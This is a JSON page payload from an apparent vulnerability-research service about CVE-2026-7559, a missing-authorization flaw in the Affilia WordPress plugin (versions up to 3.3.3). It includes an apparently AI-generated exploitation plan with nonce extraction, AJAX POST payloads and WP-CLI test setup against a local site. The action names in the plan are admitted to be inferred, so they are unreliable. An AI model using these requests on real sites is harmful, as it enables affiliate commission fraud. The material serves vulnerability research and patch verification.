[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fLHpfdZZeoAB8gjCLFeZRosM86dz27Bknr89yObomRvA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":33},"CVE-2026-7559","affilia-missing-authorization-to-authenticated-subscriber-arbitrary-status-modification","Affilia \u003C= 3.3.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Status Modification","The Affilia – Affiliate Program & Referral Tracking for WordPress plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 3.3.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to approve or reject affiliate referrals, credit commissions to affiliate wallets, delete referral records, and modify custom banner plugin options, enabling financial fraud. The nonce required to pass the only authentication check is embedded in every frontend page load via rtwalwm_global_params.rtwalwm_nonce, making it trivially accessible to any authenticated user regardless of role.","affiliaa-affiliate-program-with-mlm",null,"\u003C=3.3.3","3.3.4","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-10 15:14:31","2026-07-11 03:44:23",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F85a37373-a97f-44b7-a743-bbaaa0056a6c?source=api-prod",1,[22,23,24,25],"README.txt","admin\u002Frtwalwm-class-wp-wc-affiliate-program-admin.php","public\u002Frtwalwm-class-wp-wc-affiliate-program-public.php","wp-wc-affiliate-program.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-7559\n\n## 1. Vulnerability Summary\nThe **Affilia – Affiliate Program & Referral Tracking for WordPress** plugin (versions \u003C= 3.3.3) contains multiple **Missing Authorization** vulnerabilities. While the plugin implements CSRF protection via nonces, it fails to perform capability checks (e.g., `current_user_can( 'manage_options' )`) in its AJAX handlers. This allows any authenticated user (including those with the lowest-level `Subscriber` role) to execute administrative actions such as approving\u002Frejecting referrals, deleting records, and modifying plugin settings.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Authentication:** Required (Subscriber or higher)\n*   **Vulnerable Actions (Inferred):** \n    *   `rtwalwm_approve_referral`\n    *   `rtwalwm_reject_referral`\n    *   `rtwalwm_delete_referral`\n    *   `rtwalwm_credit_commission_to_wallet`\n    *   `rtwalwm_save_banner_options`\n*   **Payload Parameters:**\n    *   `action`: The specific AJAX action (e.g., `rtwalwm_approve_referral`).\n    *   `nonce`: The value of `rtwalwm_global_params.rtwalwm_nonce`.\n    *   `id` or `referral_id`: The ID of the record to modify.\n\n## 3. Code Flow\n1.  **Registration:** The plugin registers AJAX handlers using `add_action( 'wp_ajax_...', ... )` (likely in `includes\u002Frtwalwm-class-wp-wc-affiliate-program.php` or a dedicated AJAX handler file).\n2.  **Nonce Verification:** The handler calls `check_ajax_referer( 'rtwalwm-ajax-security-string', 'nonce' )` or `wp_verify_nonce( $_POST['nonce'], 'rtwalwm-ajax-security-string' )`.\n3.  **Missing Check:** The handler **omits** any check for `current_user_can()`.\n4.  **Execution:** The handler proceeds to update the database via `$wpdb` or plugin-specific classes (e.g., changing a referral status from `pending` to `approved`).\n\n## 4. Nonce Acquisition Strategy\nThe nonce is generated in `public\u002Frtwalwm-class-wp-wc-affiliate-program-public.php` and tied to the action string `\"rtwalwm-ajax-security-string\"`. It is exposed to all authenticated users on pages where the plugin script is enqueued.\n\n**Strategy:**\n1.  **Shortcode Identification:** The plugin uses `[rtwwwap_affiliate_page]` to render the affiliate dashboard. This shortcode triggers the loading of `rtwalwm-wp-wc-affiliate-program-public.js`.\n2.  **Page Creation:** Use WP-CLI to create a page containing this shortcode.\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Affiliate Dashboard\" --post_content='[rtwwwap_affiliate_page]'\n    ```\n3.  **Browser Extraction:** Navigate to the created page as a Subscriber and extract the nonce using `browser_eval`.\n    *   **Variable Name:** `window.rtwalwm_global_params`\n    *   **Nonce Key:** `rtwalwm_nonce`\n    *   **JS Command:** `browser_eval(\"window.rtwalwm_global_params?.rtwalwm_nonce\")`\n\n## 5. Exploitation Strategy\nThis PoC focuses on unauthorized referral approval.\n\n### Step 1: Pre-exploitation Discovery\nSearch the plugin code to confirm the exact AJAX action names.\n```bash\ngrep -r \"wp_ajax_rtwalwm_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Faffiliaa-affiliate-program-with-mlm\u002F\n```\n\n### Step 2: Extract Nonce\n1.  Login to WordPress as a Subscriber.\n2.  Navigate to the page with the `[rtwwwap_affiliate_page]` shortcode.\n3.  Run: `browser_eval(\"window.rtwalwm_global_params.rtwalwm_nonce\")`.\n\n### Step 3: Execute Unauthorized Action\nUsing the `http_request` tool, send a POST request to `admin-ajax.php`.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=rtwalwm_approve_referral&nonce=[EXTRACTED_NONCE]&referral_id=1\n    ```\n    *(Note: Replace `rtwalwm_approve_referral` and parameter names based on Step 1 results).*\n\n## 6. Test Data Setup\n1.  **Create a Subscriber User:**\n    ```bash\n    wp user create attacker attacker@example.com --role=subscriber --user_pass=password\n    ```\n2.  **Create a Pending Referral:**\n    Manual entry via database or if the plugin allows, generate a referral record.\n    ```bash\n    # Example SQL (inferred table name)\n    wp db query \"INSERT INTO wp_rtwalwm_referrals (affiliate_id, status, amount) VALUES (1, 'pending', '10.00')\"\n    ```\n3.  **Create Nonce Page:**\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_content='[rtwwwap_affiliate_page]'\n    ```\n\n## 7. Expected Results\n*   **HTTP Response:** The request should return a success message (often `1`, `{\"success\":true}`, or `{\"status\":\"success\"}`).\n*   **State Change:** The targeted referral record in the database should move from `pending` to `approved`.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the change via WP-CLI:\n```bash\n# Check the status of the referral in the database\nwp db query \"SELECT status FROM wp_rtwalwm_referrals WHERE id = 1\"\n```\nExpect the output to be `approved` (or the equivalent success status).\n\n## 9. Alternative Approaches\nIf `rtwalwm_approve_referral` is not the exact name, target the banner options modification:\n*   **Action (Inferred):** `rtwalwm_save_banner_settings`\n*   **Payload:**\n    ```\n    action=rtwalwm_save_banner_settings&nonce=[NONCE]&banner_options[some_key]=malicious_value\n    ```\nConfirm the modification by checking the options table:\n```bash\nwp option get rtwalwm_banner_settings\n```","gemini-3-flash-preview","2026-07-15 08:57:24","2026-07-15 08:58:18",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","3.3.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Faffiliaa-affiliate-program-with-mlm\u002Ftags\u002F3.3.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Faffiliaa-affiliate-program-with-mlm.3.3.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Faffiliaa-affiliate-program-with-mlm\u002Ftags\u002F3.3.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Faffiliaa-affiliate-program-with-mlm.3.3.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Faffiliaa-affiliate-program-with-mlm\u002Ftags"]